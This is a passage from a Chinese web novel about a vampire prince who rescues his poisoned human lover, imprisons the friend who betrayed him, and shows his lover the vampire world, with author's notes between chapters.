傅宴舟说完,宁尔感觉自己的脸庞上有什么温热的液体滑过,抬头,才看到傅宴舟漆黑的眼眸中闪动着光,高挺的鼻梁上留存着泪痕。 普通的人类看到吸血鬼都会吓破胆,而傅宴舟为了宁尔只身来到这个异世界。 人间矜贵的公子不知道在这个肮脏可怕的地下室关了多久,用怎样的意志力撑到现在,此刻却因为看到宁尔没事第一次卸下防备。 傅宴舟那么聪明,听到两块蓝宝石,怎么会不明白。 可是,如果为了配合宁尔在莱特面前装得像…… “他折磨你了,对吗?” 傅宴舟微微摇头,身体却因为伤口牵动疼出一身冷汗。 傅宴舟紧紧回握住宁尔的手,稍有朦胧的眼睛在微弱的幽光下看着宁尔的脸: “宝宝,我好想你。” 傅宴舟生涩的声音划在宁尔心上,刺得生疼。 他都不敢再多用力去回握他,生怕再让他受一点伤。 “为什么要戴着这个?” 傅宴舟的目光落在宁尔脖颈上那个皮质的黑色项圈上。 哪怕他不知道具体作用,但项圈本身就代表着禁锢、束缚。 黑色项圈上的铆钉反射着寒光,勒在宁尔白皙纤细的脖子上。喉结带动项圈艰难滚动,脸上的泪痕显得楚楚可怜。 宁尔躲开傅宴舟的目光: “没、没什么。” 傅宴舟当然不相信,追问: “他们认为你做错了事?” 宁尔赶紧摇摇头: “回去再解释,我们先离开这里哥哥。” “要小心一点,可能没那么好出去。” 傅宴舟昏迷之际听莱特说过很多次“哪怕废物找到这里也带不走你”,可能是布置了什么东西。 宁尔冷笑了一声。 莱特以为他能够困住宁尔的,在对于救傅宴舟面前不值一提。 宁尔去拉傅宴舟,发现他身体虚弱到没有站起来的能力。 宁尔弯腰俯身,把傅宴舟背了起来。 从前在一起嬉笑打闹,傅宴舟背着、抱着自己那么多次,这是宁尔第一次背起傅宴舟。 他的爱人,好轻,好轻。 那个在人类世界可以为他解决一切麻烦,永远高大胸膛温暖的傅宴舟,现在在背上几乎没有重量一样。 宁尔用尽全力再度把石门打开,空气涌入地下室的一刹那,傅宴舟彻底失去了意识—— 作者有话说: 莱特阴谋救出傅总这里就不那么详细描写啦,毕竟不是主要场景~危险过后就可以永远甜甜地在一起啦~ 第73章 永世关押,不死不灭…… 暮色如墨, 浸透了古堡的尖顶。塔楼窗口透出的灯光在浓雾里晕成模糊的光斑,像无数跳动的野火。 诺大空旷的卧房里,宁尔那张纯白色床上, 此刻正躺着一个男人。 他已经被梳洗干净, 换上了一套黑色的长袍, 却仍一直处在昏迷当中。 公爵盯着床上的男人,眉头紧皱, 身后血族元老和抱着银质器具的侍女同样面露难色。 等待了许久, 男人依旧没有苏醒的迹象。 宁尔站在床边, 双手死死地攥成拳, 苍白的嘴唇被他自己硬生生咬出血色。 不知道过了多久, 元老和公爵低语了两声,宁尔看到公爵轻轻叹了一口气, 摇了摇头。 他走到宁尔身边,拍了拍他的肩膀,轻声让他出来。 “宁尔。”公爵看着儿子的表情,有些面露难色。 “这个人类被囚禁了至少二十余夜,莱特给他的供给食物中有对人体形成致命伤的成分, 就像是慢性毒药。” “我们不知道他怎么撑到这一刻……” “不出意外的话,他应该不能正常醒过来了。” 宁尔手中一直紧握着傅宴舟装在口袋里的那枚玫瑰胸针应声落地。 “什、什么意思?” 他声音颤抖沙哑,一开口连自己都吓了一跳。 公爵夫人不忍心看儿子这样,开口道: “宝宝,你现在有两个选择。” “一是把他送回人类世界后, 任由他……” “第二种呢?”宁尔直接打断了这个方式。 “转化。” 公爵夫人说完, 定定地看着宁尔。 人类和吸血鬼世界和平了上百年,在伊极大陆上,几百年内并未出现过转化人类。 可是现在知道这个人类阴差阳错和宁尔的命运深度缠绕, 万不得已,也只能应允他这个做法。 “真的,没有,第三种办法了吗?” 宁尔声音极度颤抖,显然哪一种都在他的意料之外,无法接受。 公爵蹙紧眉头,摇了摇头。 “从他踏入伊极大陆的那一刻起,命运早就不掌握在自己手中了。” “宝宝,现在多拖延一点时间,他就多危险一些。” “这是你的……朋友,爸爸妈妈把选择权交给你。” 傅宴舟为什么会踏入伊极大陆呢? 哪怕他并不自愿,莱特多半也不会放过他。 这个结果,从宁尔摆脱他找到莱特那天起就注定了。 甚至,从他在人类世界遇到傅宴舟的那一刻起,在傅宴舟为他刷了满屏玫瑰花开始,他今天的厄运已经注定的。 就像当年父母相继意外离世一样。 傅宴舟曾经牵着他的手,坚定地告诉他,厄运不会几次三番降临在一个人的身上。 巨大的痛苦仿佛从胃里传来,宁尔甚至感受到自己口中有腥甜的味道。 他难以支撑站立,冷汗从额头冒出来,环抱着身体痛苦地蹲下身体。 转化。 从此以后成为和自己一样的吸血鬼。 一生吸食血包,再也不能暴露在阳光下。 宁尔脑中逐渐在浮现一些他看过的画面。 有的是他在视频里看到的,傅宴舟带着盛景一众高管,去参加国际合作的洽谈会议。风华正茂,意气风发。 有他坐在国际环保组织里,给出自己手中宝贵的财富投资,保护了许许多多濒危的动物。 还有……夕阳下,他一手牵着傅童,一手抱着他亲手挑选的零食回家见他,仿佛身披金光走向他。 “我的血,可以让他先暂时醒来吗?”宁尔冷静下来。 “胡闹!”公爵厉声制止。 吸血鬼的血液是何等珍贵、稀缺,更何况是宁尔。 “宝宝,你要干什么?”公爵夫人快步走到他身边,警惕地问道。 “我想,让他自己选择。” “自己选择?” 宁尔点点头,有些苦涩地抿了抿唇: “爸爸妈妈,也许,对于人类来说,变成一只吸血鬼,是比死亡更可怕的事情。” “只要有一点机会,就能够让他自己选择自己的命运。” 公爵夫妇愣了一下,几乎是同时想到当年宁尔尚在襁褓,就被他们强行洗去基因,导致平庸的天赋,与无数次对自己痛苦的怀疑。 谁也没再说什么。 没办法再阻拦他。 宁尔走向元老: “请您帮帮我。” “你太累了,先去休息一会儿吧。”公爵出言打断。 宁尔睁大眼睛,面如死灰地看着父亲,他深绿色眼眸中透着不容置疑的威严与优雅,丝毫不见苍老的眸瞳中流露出一丝藏不住的温情: “我的血,比你更有效。” 宁尔紧紧握着地拳收缩了一下,然后一点点放开,眼睛再度被泪水泛湿: “谢谢您……父亲。”- 宁尔足足在屋外等待了两夜,直到莱特被抓的消息传来。 他不顾房间里仍在昏迷的傅宴舟,一刻不停地来到了地牢之中。 莱特被关押在最高科技的房间里,整个人绑在刑架上,脖子上带着项圈,探测仪24小时监测着他的生命体征。 他身上有反抗时挣扎落下的伤痕,裤子被烧掉一大片,露出大腿上骇人的烫伤与萎缩的皮肤。 宁尔打开房门的时候,莱特下意识抬头,看清来人只有宁尔之后,目光瞬间黯然下去。 宁尔精致漂亮的脸蛋上看不出任何表情,一步步走近莱特,直到他面前停下脚步。 “你是怎么做到的?” 莱特语气没有过于激动,甚至看不出胸膛的起伏。 当然,也丝毫没有了往日的亲密,以及在人类世界那副唯唯诺诺的装腔。 “迪恩教授是整个伊极大陆最出色的药剂师,即使他不被你们承认——他的基因检测不可能出错。” “你的基因,就是异种。” 莱特被绑在刑架上,却在一字一句仿佛在审判着宁尔。 宁尔抬头,两只眼睛空洞地看着莱特,似乎有些茫然。 “又是这副表情。” “又是这副废物、无能、可怜的表情。却能骗过所有人,是吗?” 莱特的声音陡然提高,显然是被宁尔的表情惹怒。 宁尔摇摇头: “迪恩的基因检测的确没有错。” 莱特的双眼猛地亮了起来: “我就知道!你就是异种!” “你是怎么逃出来的?不对,你根本没有逃出来吧?” “你被宣判异种的消息,你的基因检测结果已经传遍了整个伊极大陆,连路过的狗都要唾弃几口,公爵夫妇怎么可能放过你?” “你是来试探我的吧?你冒充王子享受了那么多年尊荣,现在被发现是一个废物,你唯一的价值就是考验我,让我过最后一关,成为真正的王子。” “其实我才是公爵夫妇真的儿子对吧?否则为什么从小到大他们都带我和你一起生活?你知道在你无能废物的时候他们是怎么偷偷奖赏我的吗?” “现在好了,一切都真相大白了。快啊,宁尔,快把我换回去,我要做王子了。” 哪怕预想过许多次这个答案,当看到莱特表情狰狞、亲口说出这番话时,宁尔的手还是不受控地颤抖了起来。 “所以,只是因为臆想,就能做出置我于死地的事么?甚至不惜用自己的生命做赌注?” 宁尔原本以为莱特手里还有什么证据,没想到,只是他疯得太彻底。 “臆想?我臆想?你是不是真的不知道自己有多废物?” “你知道无论你做得多差,都能被那张漂亮脸蛋粉饰过去的滑稽么?知道我在一次次比赛你故意让着你有多痛苦么?一次次假意输给一个废物,和你并称双子星我感到羞耻!” “生命?想到在你身边这样耻辱地陪衬一生,我都痛恨这血族生命的漫长。” “你抖什么?又害怕了?又要哭吗废物?别哭啊,快去,告诉爸爸妈妈,别担心,伊极大陆真正的王子很快就要回去了。” “你现在想说什么?这副表情,是不是想让我醒醒?” 宁尔的眼睛从清晰变得模糊,过了很久,又从模糊变到清晰。 他没有让一滴眼泪流下来。 掌心被指尖掐得泛疼,宁尔轻轻吸了吸鼻子: “你最好能永远活在梦里。” 莱特一怔,看着宁尔陌生的语气: “什么意思?” 宁尔耸耸肩: “我的基因检查的确和公爵夫妇不符,可我想了办法,想办法让他们不仅没有惩罚、抛弃我,还饶恕了我,让我继续做那个尊贵的王子。就连你的所见所闻,都是他们为了配合我抓到你所做。” 莱特难以置信地看着宁尔,嘴上大叫着不可能。可那双疯癫的眼睛中,比起难以置信,更多的是一种终于确认想法的绝望。 “他们让我全权处置你,你说,我该怎么办?” “你要杀了我吗?” 莱特疯狂抖动着四肢的束缚,凌乱的发间滴下汗来: “不能杀我,不能杀我。” “宁尔,你忘了你在人类世界的时候,我有无数次机会害你杀你,我都没有。你也不能杀我。” “还有那个讨厌的人类,他阻碍我们住在一起,你的恋人,我也没有杀他,我连他的一滴血都没有喝。” 提起傅宴舟宁尔就怒不可遏,手中幻化出一根骨鞭,骨鞭握在冰冷修长的手指中,狠狠地朝莱特身上抽过去。 莱特立马被抽得皮开肉绽,无数怨骂、惨叫,都无法让宁尔停手。 不知道抽了多少下,宁尔颤抖的手臂才停下,一字一句道: “你最好祈盼他能顺利活着。” 莱特垂头,似乎已经到了奄奄一息的境地: “凭、凭什么……” 宁尔走到莱特面前,让他足够看清自己的样子,用他最讨厌的神情道: “凭我是王子。” 他随即退后一步,指了指这间暗无天日的牢房,莱特腿上的伤口,和他身后那个令鬼窒息的刑架: “莱特,我前半生的挚友。” “你没有对我痛下杀手,我当然感恩铭记在心。” “所以,我也不会杀你。只会把你困在这囚牢里,永日永夜,不死不灭。” “你怎么敢?!我是公爵夫妇的养子,也是下一任执政官候选人,你怎么敢这样对我?!” 莱特在这一刻的恐惧达到了顶峰。 他了解宁尔的性格,一个仁慈善良的窝囊废,怎么敢杀他。 但这样的性格,的确能做出来把他永远关在这里的折磨! “让我见公爵,让我见元老,让他们亲手惩戒我!不要这样对我。不要这样对我!” “莱特,其实,我拿到了你的基因检测报告。” “你猜,结果怎么样?” 莱特的眼睛倏然亮了起来,和他周身的浪费形成了强烈的违和,整个鬼更加诡异。 “重合度很高——和公爵夫妇。” 公爵夫妇的基因数据是绝密,哪怕是莱特或者他口中的迪恩教授,都无从而知。 莱特周身更加剧烈的颤抖着,脸部肌肉因为兴奋和难以置信变得有些扭曲,棕色的瞳孔几乎无限放大。 “你知道的,就是我,对吧?真的是我!” “你到底用了什么手段篡改这一切?卑鄙的异种!你就不怕哪天事情败露被处以极刑吗?而我,真正的王子,却要被你永远关押在这暗无天日的牢房!!!” 莱特的叫声和骂声混合在一起,精神已经濒临崩溃。 宁尔最后看了一眼他那张平平无奇的脸,头也不回地走出了房间。 二十年的温暖、亲情、友情,反而成为了催生他野心的臆想,不惜对挚友痛下杀手。 比起死亡,对于他最好的惩罚,是让他在自认为无限接近成功的幻想时时间停滞,永远困死在牢笼之中。 只是、只是…… 往日和莱特相处的一幕幕,同地牢里阶梯两侧黑压压的石墙一般从身边掠过,一滴泪终究从眼眶里滑落在脸颊上。 宁尔走出牢房的时候,宁尔已经丝毫没有哭过的痕迹了。 他眉头轻皱,神情严肃,对等在一旁的近侍道: “迪恩抓到了么?” “已经关押在四号牢房当中。” “先带他换个地方,交给公爵前,我要亲自审问。” “是。” 侍卫隐退在夜色中,中指黑色的骨戒震动了两下,震得宁尔手掌轻轻发麻。 他把投影页面调出,画面上弹出了一条消息: [宝宝,你在哪儿?我是傅宴舟。]—— 作者有话说: 依旧网恋这一块/. 第74章 宁尔,我爱你。 宁尔看到消息险些把戒指掉了, 手指几乎都不利索了,立马回复: [哥哥,你醒了?现在感觉怎么样?] [我很好。只是感觉像睡了一个很长很长的觉。] [你饿不饿?冷不冷?我马上回去。] [不急, 宝宝。] [我的身体好像刚刚被治疗过, 需要观察一段时间。现在还不能出去。] 吸血鬼的疗愈都需要在单独的静室, 傅宴舟应该是刚清醒不久。 [你等我,我很快回来。] [你的讯指是?……] 宁尔现在用的发消息设备叫做讯指, 类似于人类的手机。 [是伯父给我的。] [伯父?] [暂时不知道你们这里怎么称呼。人类世界里, 恋人的父亲一般叫做伯父。] 宁尔脸一红, 傅宴舟在这个时候还能轻松玩笑, 可能身体好了不少。 好…… 怎么会好呢…… 身上伤痕累累, 多少天不眠不休,五脏六腑被慢性毒药侵蚀…… [哥哥, 你又开玩笑。身上不疼了吗?] [疼。] [不过哥哥还可以忍。] 宁尔心脏慕然一疼: [哥哥,你想不想吃零食?] 不出意外的话,傅宴舟这几天吃得应该是各种口味的血包和营养液…… 傅宴舟隔着屏幕苦笑了一下: [有吗?] [我去找找,你好好治疗哦。等会儿见。] 宁尔再次回到城堡,艾达正等在静室门口, 坐在门口的长椅上百无聊赖地扔一枚果子。 “姐,你怎么在这儿?”宁尔神色稍稍有些紧张。 艾达接住果子朝他走过去,语气有点委屈: “看你紧张的,我又不会害他。姐什么时候坑过你?” 宁尔有些无语地看着她,小声道: “姐, 当初你如果让我把那句话说完, 就不会这样了。” 艾达心虚起来,低下头: “哎呀姐姐知道错了……” 宁尔无奈地苦笑了一下,把手伸进口袋里摸了摸: “给。” “什么啊?”艾达边问边将信将疑地伸出手。 宁尔松手, 一枚糖果落在了她的掌心。 艾达眼睛瞬间亮了亮: “怎么搞到的?你又偷偷去人类世界了?” 宁尔摇摇头: “那不用你管。” 艾达看着他的口袋鼓鼓的,两眼放光: “还有吗还有吗?” 宁尔赶紧捂住口袋: “不行不行,剩下是给……舟先生的。” 艾达看宁尔那副样子,酸了酸,却转头一脸神秘道: “宁尔,你和姐说说,你们是怎么在一起的?吸血鬼和人类产生感情倒是有过先例,可是……男性是怎么爱上男性的呢?你们怎么□□?” 宁尔被艾达直白的问题问得脸泛红,他轻咳了两声: “姐,我给你糖果,你开心吗?” “开心啊。” 宁尔指了指静室: “我在人类世界快要饿死的时候,是他给了我糖果,很甜。” “不是吧?你堂堂一个小王子,一颗糖果就把你收买啦?” “不是一颗。” “那是多少?一百颗?一千颗?一万颗?” 宁尔目光看着静室里,满眼温柔: “还要更多。如果我想要,他会把全世界的糖果都买来给我。” “还有呢?” “还会用烟花做成五颜六色的星星,在我想家的时候给我看。” “还会为我包下整个游乐园,让我可以在晚上做在摩天轮上看整座城市的夜景。” “还有呢还有呢?” 烟花、游乐园,每一样东西都对吸血鬼充满着吸引力,艾达的神情已经从置疑变成好嗑了。 “还会……还有很多很多,多到我在这里讲十天十夜都讲不完。” “多到……我希望他能好起来,再和他一起经历好多好多的回忆。” 艾达羡慕的神色没来得及收起来,静室的门一声轻响,开了。 艾达识趣地轻声离开,整个昏暗的走廊里只剩下宁尔一个人。 他站在原地,紧紧地盯着门口,傅宴舟从里面缓缓走了出来。 他穿着吸血鬼的黑色袍子,整个人身形几乎瘦削了一圈,头发剪短了一些,眼镜已经不知所踪,面色苍白,但剑眉星目的五官中仍带着英朗。 如同人类电视剧里演得,大病初愈的模样。 宁尔站在原地盯着他,傅宴舟停下脚步,伸开双臂,扬了扬嘴角: “宝宝。” 宁尔几乎是整个人飞扑过去,拥抱在一起的那一刻,傅宴舟的体温从周身传来,宁尔眼睛倏然湿润起来。 他紧紧抱着傅宴舟,仿佛稍稍松开一点,他就会再次消失。 傅宴舟伸出双臂,稳稳地回抱在他的背上。 “宝宝,伯父说,我可能不会清醒太久,你可能需要先和我说重要的事。” 宁尔浑身一抖,松开傅宴舟,看着他那双沉稳的眼睛,一时间不知道该怎么开口。 “我是不是,不能再回人类世界了?或者说,回去会有生命危险?” “谁、谁告诉你的……” “猜的。笨蛋。”傅宴舟伸手揉了揉宁尔的脑袋。 “都回到家了,就不能那么爱哭了。” 宁尔的眼睛却又湿润了一些: “那、那……” “我愿意留下来。转化,对吧?” 傅宴舟伸手指了指自己的脖子: “小耳朵咬我,一点都不会痛。” “你、你别乱说,你根本就不知道转化是什么,也不知道吸血鬼意味着什么,你甚至也许会失去理智……”宁尔越说越急,眼神里是掩饰不住的愧疚。 “可以活着。”傅宴舟打断了他的话。 “什么?” “可是可以活下来,不是吗?” “如果不转化,就会有生命危险。哥哥很惜命,哪怕成为吸血鬼,也不愿意死掉啊。” 傅宴舟耸了耸肩,给出的理由是怕死。 一句都没有说是因为可以和宁尔永远在一起。 “如果,转化的痛苦,是生不如死,是失去过去的一切呢?” 宁尔看着傅宴舟的眼睛,傅宴舟顿了一下: “无所谓。活着就最重要,不是吗?” “……” 宁尔一时间不知道该说什么,傅宴舟却牵起他的手: “宝宝,可以带我在这里参观参观吗?” “哥哥想看看你的‘家’,看看你的生活。” “趁我还拥有理智的时候。” 他的目光极其温柔,温柔地让宁尔几乎能读出他眼眸里没有说出口的深意。 鼻子酸得厉害,宁尔却没有让眼泪再掉出来,他紧紧地握住傅宴舟的手: “好。” 宁尔牵着傅宴舟走出城堡,门口的一众侍卫齐齐低下头行礼,没有一个鬼敢阻拦。 他带傅宴舟去了他的“学校”,那些黑漆漆的教室如同魔法厨房,摆放着一个个神奇的魔法瓶瓶罐罐。 宁尔递给傅宴舟三个瓶子: “把其中两个瓶子里的液体混合在一起。” “哪两个?” 宁尔摇摇头: “自己选,看看哥哥有没有做吸血鬼的天赋喽。” “选错了会怎么样?” 宁尔赶紧用两只手指叉住耳朵,躲得远远的,大声道: “选错了会发生爆炸。” 傅宴舟的说狠狠地抖了一下,他又把三个瓶子拿起来,仔细观察着。 宁尔蹲在远处,看他这副样子忍不住想笑,抬起讯指,咔嚓一声偷偷拍了一张照片。 傅宴舟看了又看,最终选择了两个液体较少的瓶子,小心地倒进同一只里。 “啊——” 宁尔故意大叫了一声,却没有想象中的爆炸,反倒是瓶口出现了一道绿紫色光焰,美丽耀眼。 就好像有人把极光缩小,装进了这个瓶子里。 宁尔瞬移到傅宴舟身边,傅宴舟问他: “你叫什么?” 宁尔有些尴尬: “……我吓唬吓唬你。” 傅宴舟扬了扬嘴角,反手,迅速拿起第三只瓶子倒入,把所有液体都混合在一起。 依旧没有任何爆炸,只是那道光焰变成了其他颜色。 宁尔张了张嘴,眼睛似乎是在问傅宴舟怎么知道。 傅宴舟并没有回答,下一秒,宁尔的下巴被他的指尖捏住,还没反应过来就被一个吻填满。 阔别已久的滋味在口腔内蔓延。温热,湿润,略微生疏的舌尖动作把口腔的津液勾得更加诱人。 宁尔被傅宴舟牢牢抱在怀里,牙关被撬开,傅宴舟舌尖轻轻略过宁尔的牙齿,温热的呼吸喷薄交织在一起,熟悉的味道混合津液,涌入口腔。 宁尔粗重的呼吸节奏,随着傅宴舟舌尖的索求和吮吸,变得越来越快,傅宴舟的舌头灵巧地舔吮在了宁尔最敏感的舌肉处,修长的手掌牢牢扣在他后背的脊骨上。 这种近乎失控的窒息和欲望,让宁尔仿佛终于重新触到了这个活生生的爱人。 宁尔被他亲得浑身发热,身体不受控地有了反应。 苍白的面孔泛起潮红,尖尖的耳朵似乎在轻轻抖动,尖牙上悬着晶莹的唾液,小巧的舌尖粉嫩泛红。 他后退将手撑在桌子上,才意识到这是在他的“教室”里。 他平时里学习和练习的教室里,受鬼尊敬的教授走在过桌子间为他们指导的地方…… “哥哥,这是在教室……唔~” 傅宴舟碰了碰宁尔不安分的部位,逗他: “现在才想起来是在教室?” 宁尔推开傅宴舟,努力调整好自己的状态,让自己看起来像王子,挥了挥手,桌上的摆放都恢复了原位,动作优雅自如。 宁尔牵着傅宴舟的手,继续去下一个地方。 他们来到了一间Bar前,这间装饰独特的小店门扉很窄,挂着两枚老旧的铃铛,同样透着幽暗的光。 “这里,是我和朋友们来休闲娱乐的地方。” 傅宴舟看着那些和人类世界差不多的标志,酒杯、扑克、骰子,还有一些他不认识的。 傅宴舟的眼神很感兴趣,宁尔试探问: “要、要进去吗?” “可以。”傅宴舟点头。 “我的朋友们,可能也会在里面。” 傅宴舟想了想: “那你,不想让哥哥见到他们?” 宁尔赶紧摇摇头,从他回来就有无数的讯息来打听他关于人类世界的事。 宁尔巴不得让他们都看看,傅宴舟是多么英俊的一个男人。 “我怕你会害怕。” 傅宴舟握了握宁尔的手: “没关系。” 说完便率先一步推开了门。 嘈杂幽暗的bar里放着曲调奇异的音乐,两排木桶上的装饰品是鸟兽干枯的头颅。 类似与血液的腥甜混合着奇异的香味散发出独特的味道,傅宴舟牵着宁尔的手,刚刚通过狭窄的甬道,一个黑色的物体就飞至他身边。 傅宴舟感觉有什么东西冲着自己来了,下一秒就听到宁尔在他身边发出了一声严厉的呵斥。 那不是人类的语言,但呵斥的威严足够。 那只小鬼看清楚是宁尔之后,顾不得擦干净口水,立马吓得原地逃走。 屋里的音乐声和嘈杂声瞬间全部停止,整个bar里十几个人同时转头看过来。 气氛一时间有些紧张,傅宴舟的肌肉记忆让他上前一步,挡在宁尔面前。 几秒钟过后,沙发里歪着的,玩牌的,拿着酒杯摇晃的,全部停下手里的动作,朝宁尔单膝跪下。 饶是知道他是王子,看到这一幕傅宴舟还是轻轻颤动了一下。 宁尔从他身后走出来,继续用他听不懂的语言简短回复了一句,所有人就都起来了。 他们的目光不受控制地看向傅宴舟,的脖子。 那种欲望无比的原始赤裸,就是想尝尝他的味道。 宁尔皱着眉,说了一句“这是我的恋人,别让我在看到这样的眼神。” 这句话一说完,众人都愣了一下,转而一起开始发生“呜呜”的声音。 傅宴舟虽然听不懂具体的意思,但能感觉到他们应该是在起哄。 和人类一样。 几个人跑过来搂宁尔的肩膀,似乎是也很想念他。 更多的人围着傅宴舟好奇地打量着,很快他们就被围到了中间。 吸血鬼的身高普遍都比傅宴舟要矮上一截,他们围着傅宴舟打转,有胆子大的忍不住伸出一根手指,想要触碰一下这个活生生的人。 只是手指刚一伸出来,就被宁尔用无形的力量推了回去。 宁尔扬了扬他和傅宴舟牵在一起的手: “只能看,不能摸。” 傅宴舟被这句扬了扬嘴角,朝四周点了点头,用温和的眼神示意友好。 他环视了一圈,目光被远处唯一没有过来,一个鬼喝闷酒的身影吸引,那个鬼正好也在看他,两人目光对视在一起,算不上友好。 他看起来比宁尔年龄大一些,类似于人类的青年,面色苍白,眉眼深邃。 维克解开领口的一颗扣子,拎着酒瓶朝这边走来,几个人都给他让开,宁尔轻轻皱了皱眉,有些疑惑地叫了一声他的名字。 维克看了他一眼,目光又落在傅宴舟脸上,朝一旁扬了扬下巴,用人类的语言道: “你竟然敢觊觎我们的王子,敢不敢和我赌一局?” 话音一落,周围又是呜呜的起哄叫声。 “赌注是什么?”傅宴舟问。 “赌注当然是你离开……” 维克目光看向宁尔那张不怒自威的精致脸庞,一肚子气焰慢慢吞了回去。 在他们面前谈赌注,是一件多么愚蠢的事。 维克看着这个人类身上的那条独特的黑袍,还有他身上散发的属于吸血鬼的血液味道。 这个人类应该是受了很大的伤,才能在此刻和王子一同并肩站在这个不属于他的世界。 怎么会因为一场靠运气的牌局就放弃。 “没有赌注,只是想看你在所有人面前输。”维克挑眉。 傅宴舟顿了顿,没等宁尔说话: “怎么赌?” “很简单,扔骰子”维克说着把手里的一粒骰子抛给傅宴舟。 傅宴舟看了看这枚木质的24面骰子,每个面上都刻画着傅宴舟看不懂的标记符号。 虽然看不懂,但隐约能看到几个符号是鞭笞、雷电的符号,不是什么好事。 “如果你输了,触发的惩罚我替你扛。” 人类这种身体机能脆弱的生物,根本扛不住。 “不需要。” “触发的惩罚,我来承担。” “不!” 没等维克阻拦住,宁尔就摘下手上的黑色手套,和傅宴舟的指尖一起触在那枚骰子上,泛出一道浅浅的光。 傅宴舟看着这道如电流般的光,倒是没再否定阻拦。 宁尔坐在赌桌旁的暗红色的椅子上,燕尾服下双腿交叠,优雅地看着傅宴舟。 傅宴舟正在听维克的讲解,哪怕他的人话有些蹩脚,但傅宴舟基本都在点头表示懂了。 一人一鬼,分别坐在赌桌两端。 傅宴舟听懂规则,问询在场众人,吸血鬼的能力是否会对结果有影响。 维克表示,他用性命保证,绝不使用异能。 傅宴舟嗯了一声,开始之前维克却停下动作,目光复杂地看着傅宴舟的眼睛,一字一句道: “你最好能赢,如果输了,骰面上的那些惩罚,就会作用在宁尔的身上。” 宁尔当然也听到了这句话,他皱了皱眉,看傅宴舟倒是神色如常。 他们的时间十分宝贵,赌的过程非常快,分别投掷三次,总计结果。 维克毫不拖延,先手把三次投掷完成。 众人看着他的牌面,都忍不住倒吸了一口冷气。 维克不满地朝几个质疑的眼神看去,嘀嘀咕咕说说了什么。 傅宴舟看着他的骰子点数,赢面很大。 难怪,他会选择这种方式。 维克看着这个第一次接触这些的人类,看骰子在他手中的生疏样子,再看着自己几乎必赢的点数,不禁冷哼了一声,看向不远处的宁尔。 傅宴舟没给他说话的机会,在计时开始的那一刻,毫不犹豫地扔下三次骰子。 没等周围的人围过来看清楚点数,傅宴舟已经提前从椅子上站起来, 他走到宁尔面前,身后全是围在那里计算研究骰子点数的人。 只有傅宴舟面对着宁尔,他笑了笑,拉起宁尔的手,俯下身,在他的手背上吻了吻: “尊敬的小吸血鬼殿下,我赢下了赌局。” 几乎是在傅宴舟说完这句话之后,身后才同时爆发出一阵起哄的惊呼声。 热闹的音乐再度响起,混合着众鬼的起哄和欢呼,灯光跳动在宁尔的面容上。 傅宴舟如同骄傲忠诚的骑士,为自己的王子带来了胜利的玫瑰。 一直到两人手牵手从Bar里离开,宁尔还是难以置信,傅宴舟竟然能一次就赢下维克。 “哥哥,你是怎么做到的?” “运气好吧。新手保护机制,听过吗?” “新手保护……” “不可能。” 吸血鬼世界,弱者只会被淘汰,从不会有运气偏向。 宁尔还是坚持问,傅宴舟没办法,看了看四周没人,小声在他耳边道: “哥哥作弊了。” 宁尔瞬间睁大眼睛,他震惊地不是傅宴舟怎么能作弊,而是他竟然会在一个从未玩过的游戏上的作弊方法?? 傅宴舟笑了笑: “太小看哥哥了。” “那你、那你……” 傅宴舟挑了挑眉: “怎么了?宝宝该不会真的想看到,哥哥在情敌面前输了吧?” 宁尔脸一红: “情、情敌?” 宁尔在认识傅宴舟之前只知道男性要喜欢女性,从没有想过哪个男性会喜欢自己。 现在再想想维克从前的表现…… 说话间宁尔已经带着傅宴舟来到了一片茂密的树林里,清风微拂,林叶声响,星光下并不漆黑一片,反倒是每片叶子上镀上一层银色。 宁尔感觉到自己回忆的时间好像久了点,赶紧问: “哥哥,你、你吃醋了吗?” “嗯。” “多久了?”傅宴舟反问。 “什、什么多久了……哥哥你想不想去树上?” “嗯。” 宁尔抱紧傅宴舟,脚下一点,几乎是飞一样轻轻跃在了树上。 双脚踩在树干上站稳,宁尔就拉着傅宴舟坐下。 傅宴舟学着宁尔的样子坐好,整了整袍子,两人并肩坐在几米高的树上,俯瞰着这个漆黑幽深的奇异世界。 宁尔看见傅宴舟额侧有轻微的汗渍,用袖子帮他擦了擦。 吸血鬼的世界不会过于寒冷,不会过于炎热,只是保持着终日阴暗的潮湿恒温。 “成为吸血鬼以后,我也能自己上来了,对吧?” 傅宴舟指了指这颗高大的树。 他脸上没什么表情,语气中甚至有些期待。 宁尔看着傅宴舟幽深的目光,敛眸,喉结滚了滚: “嗯。” “还能去更高的地方吗?” “可以。” “力气、速度、异能、甚至读心。都会慢慢拥有。”宁尔说得很小声。 “读心?”傅宴舟挑眉: “那宝宝一直能读懂我的心吗?” 宁尔摇摇头: “我不能。只有几个元老可以。他们已经上千岁了,还需要天赋和训练。” 傅宴舟点点头: “但我可以。” 宁尔怔了一下: “你可以什么?” “……” “我知道你心里现在想得是什么。” 傅宴舟抿唇: “你在想,让我留在这里,变成一位吸血鬼,是一件残忍,并且你难以接受的事。” 宁尔看着傅宴舟的眼睛,默认。 傅宴舟沉默了很久,眉间轻皱看向远方: “宝宝,你知道我为什么始终不愿意相信,这个世界上存在吸血鬼吗?” “为什么?”宁尔轻声问。 “很多年前,傅家响应号召,积极投身实业。背靠资源,发展工业,在技术手段尚不完善,环保理念极其淡薄的年代,很快做出了成绩,带动了附近数个省份的经济增长。” 宁尔听到他说到“环保理念淡薄”,眉头跳了跳,果然,傅宴舟继续道: “后来有一天,村子里忽然出现了一例怪病。村支书找到傅家,出钱出力,带他去更大的医院医治。” “再后来,得了这种病的人越来越多,越来越多,有了第一例的帮助,都是骨血乡邻,后续所有病人傅家的出钱出力,能帮尽力帮。直到事情越来越严重,调查结果公布——” “这种病的罪魁祸首竟然工业污染,罪魁祸首就是傅家的工厂。” “曾经受到过帮助感恩戴德的邻里,指着鼻子说傅家的人应该断子绝孙,永下地狱。” 傅宴舟的声音有些颤抖,风吹过他宽大的衣袍,宁尔好像第一次发现这个男人苍白脆弱的一刻。 “傅家花费了大笔财产,协助全村进行了搬迁,所幸,这种疾病及时治疗都已经痊愈。在这场无知的污染中丧命的,是日日夜夜在工厂呕心沥血的几个傅家儿女。” 宁尔的心狠狠疼了一下,这个结果听起来,已经足够让人难过了。 他不知道当时人类的历史处境,但哪怕是傅家,他们也不是故意去害人的。 而且,他们也付出惨重的代价。 “十几年后” 傅宴舟深深地吸了一口气,目光看向远方,像是为了将这句话说出来做足了心理准备。 宁尔整个人靠到他身边,紧紧握住傅宴舟的手。 他能感受到傅宴舟指尖的颤抖。 